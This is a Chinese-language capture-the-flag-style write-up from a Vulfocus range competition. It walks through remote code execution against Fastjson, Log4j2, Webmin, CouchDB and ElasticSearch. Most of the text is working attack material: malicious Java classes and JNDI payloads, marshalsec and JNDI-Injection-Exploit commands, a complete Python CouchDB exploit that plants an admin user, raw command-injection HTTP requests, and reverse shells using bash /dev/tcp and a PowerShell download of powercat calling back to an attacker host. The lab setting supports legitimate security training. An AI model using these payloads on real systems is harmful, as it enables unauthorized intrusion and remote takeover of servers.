Vulfocus靶场竞赛 WriteUp
作者:hxd@西津北固战队
声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
FastJson-RCE-[CNVD-2017-02833]
概述
- 目前存在漏洞的fastjson主要是两个版本
1.2.24 (cnvd_2017_02833)影响范围 <=1.2.24
1.2.47 (cnvd_2019_22238)影响范围 <=1.2.47
- 漏洞检测的方式主要是POS请求发送json参数,然后反序列化执行命令,再通过dnslog平台来回显
- 漏洞利用的方式主要是POS请求发送json参数,然后反序列化执行命令,反弹shell
- 两个版本的漏洞检测和利用方式几乎一致,除了payload不一样
搭建靶机
- 使用vulfocus搭建靶机,获得访问地址:192.168.1.11.59260,本机地址为192.168.0.20
vulfocus/fastjson-cndv_2017_02833
vulfocus/fastjson-cndv_2019_22238
vulfocus/035 (比赛靶机)
vulfocus/036 (比赛靶机)
通常看到json传输数据的,可以测试下是不是存在fastjson的漏洞,burp的插件可以很方便进行检测。这里因为是vulfocus的靶机,很熟悉,所以很明确的知道是存在fastjson的漏洞的
抓取流量
- 打开url,并抓取流量,直接改成POST请求,随便测试json参数,发现并不会报错
准备利用环境
因为这个wp我很久之前写过,拿来改了改,所以前面是传统的方法和步骤,没有耐心的可以直接略过到最后
- 搭建一个web服务器,如果有现成的可以直接用,前提是靶机要能够访问到这个web服务
- 使用python可以很方便的搭建web服务,执行下面的命令,相当于开通了一个端口是8888的web服务
python3 -m http.server 8888
web服务的根目录就是当前命令执行的目录,可以建个文件夹,然后在这个文件夹目录下执行命令
后面我们要在此目录下创建文件
构建POC文件
- 在web服务根目录下建立 Exploit.java 文件,代码如下
public class Exploit{
public Exploit() {}
static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "ping xxxx.dnslog.cn"}
: new String[]{"/bin/bash","-c", "curl xxxx.dnslog.cn"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}
- 代码中的xxxx.dnslog.cn 请替换掉,访问 http://www.dnslog.cn/,然后获取自己的
- 替换后,执行命令把Exploit.java 编译成class
javac Exploit.java
- 如果提示找不到这个命令,到你的jdk安装目录中找
成功生成了class文件
建立RMI服务
- 下载marshalsec 工具,可以很方便的建立RMI等服务,https://github.com/RandomRobbieBF/marshalsec-jar
marshalsec-0.0.3-SNAPSHOT-all.jar
- 执行下面的命令,建立RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Exploit" 8889
这里命令需要重点理解,大致意思是通过加载 http://192.168.0.20:8888/Ecploit.class的方式在8889端口建立RMI服务,到这一步就理解了为什么上面要建立web服务,web服务的端口和RIM服务的端口不要混淆
网上很多文章这里说明的很模糊,端口号上下文也不匹配,导致复现失败
发送POC请求
- payload,不同版本的不一样,这是1.2.24的
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.20:8889/Exploit",
"autoCommit":true
}
}
- 这是1.2.47的
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.20:8889/Exploit",
"autoCommit":true
}
}
- POST请求的参数替换成payload
- 查看了dnslog,果然接受到了请求,也就是说Exploit.java 文件中的命令得到了执行
- 到此就证明了漏洞的存在
反弹shell
- 其实到这里就很简单,只要修改Exploit.java的代码就行,为了方便我们直接创建一个新的文件 Rshell.java
public class Rshell{
public Rshell() {}
static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "powershell \"IEX (New-object System.Net.Webclient).DownloadString('http://192.168.0.20/powercat.ps1'); powercat -c 192.168.0.20 -p 9999 -e powershell\""}
: new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Rshell e = new Rshell();
}
}
- 理解下这里的代码,这里反弹shell采用两种方式,根据不同的操作系统来区分
- 靶机如果是windows,需要通过powercat来反弹shell,https://github.com/besimorhino/powercat
- 例如使用PowerShell远程下载PowerCat执行反弹cmd命令
powershell IEX (New-object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd
Rshell中的代码远程下载的是事先下载好然后放到python那个web服务下的,反弹的是powshell
- 靶机如果是liunx就更加简单了,直接把命令base64加密然后替换就好
bash -i >& /dev/tcp/192.168.0.20/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjAvOTk5OSAwPiYx
- 替换完成后,编译生成Rshell.class文件
- 重启RIM服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Rshell" 8889
- 本机开启监听
nc -lvvp 9999
- 发送payload,注意修改成Rshell
- 成功反弹了shell,获得了flag
更加便捷的方法
上面是比较传统的方法和过程,各路大神已经写了很多更加方便的工具,可以快速的建立RIM或者LDAP的服务,都不用自己从头开始构建恶意类了,可以直接反弹shell或者上传各种内存马
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt
加密反弹shell的命令
bash -i >& /dev/tcp/192.168.0.20/9999 0>&1
加密网站
https://www.jackson-t.ca/runtime-exec-payloads.html
其实就是base64加密,也可以用其他工具
加密后
bash -c {echo,YmFzaCAtaSA+JiAvZGVXXXXX5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuMXXXXXXXOTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps的地址"
- JNDIExploit.jar
感兴趣的可以去了解 https://github.com/zzwlpx/JNDIExploit,感觉使用起来比上面那个还要方便,不过这个就见仁见智了
Log4j2-RCE-[CVE-2021-44228]
概述
漏洞描述
Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞评级
CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重
CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重
影响版本
注:Apache Log4j 1.x 版本不受此次漏洞影响。
CVE-2021-44228 Apache Log4j 远程代码执行漏洞
Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)
CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞:
Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响)
漏洞POC
搭建靶机
使用vulfocus搭建靶机,并获得访问地址
vulfocus/log4j2-rce-2021-12-09:latest
vulfocus/062 (比赛靶机)
因为比赛的靶机没有任何的漏洞描述,但是因为之前log4j2漏洞爆发的时候,第一时间在vulfocus上测试了相关的靶机,初始访问的时候也是这个页面,然后POST了下路径hello,返回ok,确认是log4j2漏洞
Payload
${jndi:ldap://tm0ftq.dnslog.cn/Exploit}
使用此paylaod可以直接通过dnslog查询的方式验证漏洞是否存在
payload=%24%7Bjndi%3Aldap%3A%2F%2Ftm0ftq.dnslog.cn%2FExploit%7D
dnglog的收到了请求,证明了漏洞的存在
漏洞利用
搭建LDAP服务
下载第三方工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt
加密反弹shell的命令
bash -i >& /dev/tcp/47.103.XXX.XXX/9999 0>&1
加密网站
https://www.jackson-t.ca/runtime-exec-payloads.html
其实就是base64加密,也可以用其他工具
加密后
bash -c {echo,YmFzaCAtaSA+JiAvxxxxxM5Ljddddddd5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxxk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps地址"
开启监听
nc -lvvp 9999
反弹shell
使用第一个服务(其他几个我试了都不行),发送payload
反弹成功,并获得flag
Webmin-RCE-[CVE-2019-15107]
概述
漏洞描述
Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。
影响版本
Webmin <= 1.920
漏洞POC
环境搭建
使用vulfocus,启动靶机
vulfocus/webmin-cve_2019_15107:latest
vulfocus/0019(比赛靶机)
打开页面,根据页面上的提示使用https访问,很显然是一个webmin系统
payload
POST /password_change.cgi HTTP/1.1
Host: 106.75.119.109:24335
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
发送payload,可以发现返回了当前用户
漏洞利用
具体操作同上,只需要修改命令即可,比如获取flag
CouchDB-RCE-[CVE-2017-12636]
概述
漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。CouchDB允许通过自身提供的Restful API接口动态修改配置属性,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。
影响版本
CouchDB < 1.7.0
CouchDB < 2.1.1
漏洞POC
环境搭建
使用vulfocus搭建环境,启动靶机
vulfocus/couchdb-cve_2017_12636:latest
vulfocus/059 (比赛靶机)
比赛靶机隐藏了漏洞的描述,不过通过访问地址返回的json,我们可以看到是couchdb,版本为1.6.0
Payload
脚本中的参数需要修改
target:靶机地址,
command:星号改成自己的vps地址,用于反弹shell
version:根据CouchDB的版本来设置, 1表示为1.X,2表示为2.X
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://xxxxxx:xxxx'
command = rb"""sh -i >& /dev/tcp/***.***.***.***/9999 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
在vps上开启监听
nc -lvvp 9999
执行脚本并反弹shell
漏洞利用
操作同上,比如获取flag
ElasticSearch-RCE-[CVE-2014-3120]
概述
漏洞描述
ElasticSearch是基于开源的全文检索引擎Lucene,是一个实时分布式搜索和分析引擎,支持全文检索,结构化检索和数据分析等。
ElasticSearch1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。
影响版本
ElasticSearch < 1.2
漏洞POC
环境搭建
使用vulfocus搭建环境,开启靶机
vulfocus/elasticsearch-cve_2014_3120:latest
vulfocus/058(比赛靶机)
访问地址,返回的是一串json的字符串,因为比赛的靶机隐藏了漏洞的描述信息,所以熟悉的人可能知道这个是ElasticSearch的版本信息,可以看到版本号是 1.1.1。
不熟悉的人就要使用工具先收集一些信息了。这里我们使用信息收集的利器Goby,自带了大量系统、设备和中间件的识别指纹,还可以进行各种漏洞检测利用,尤其是红队版,漏洞的检测能力更强。
Payload
首先添加一条数据
POST /website/blog/ HTTP/1.1
Host: 106.75.119.109:58472
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 26
{
"name": "vulfocus"
}
执行命令,script的部分就是执行java代码的
POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:44991
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 361
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
漏洞利用
具体操作同上,比如还可以同时执行多个恶意代码
POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:44991
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 532
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
},
"test": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
总结
本次vulfocus靶场竞赛,竞争激烈,参与者众多,一度导致系统无法正常访问,不过赛事举办方忙而不乱,稳中有序,及时处理了各种问题,保障了比赛的正常进行,这里要为举办方的付出和努力点个赞。
这次比赛的题目都是出自于vulfocus的靶场,不过隐去了漏洞的描述,所以对选手的信息收集能力有了一定的要求,需要先确定是什么漏洞(不得不说goby真的很好用),参与比赛让我意识到,不是为了打靶场而打靶场,相关的漏洞要多了解,各种工具和脚本不是拿来主义,而是要能够明白里面的逻辑和原理,才能转化为自己的知识和能力。
最新评论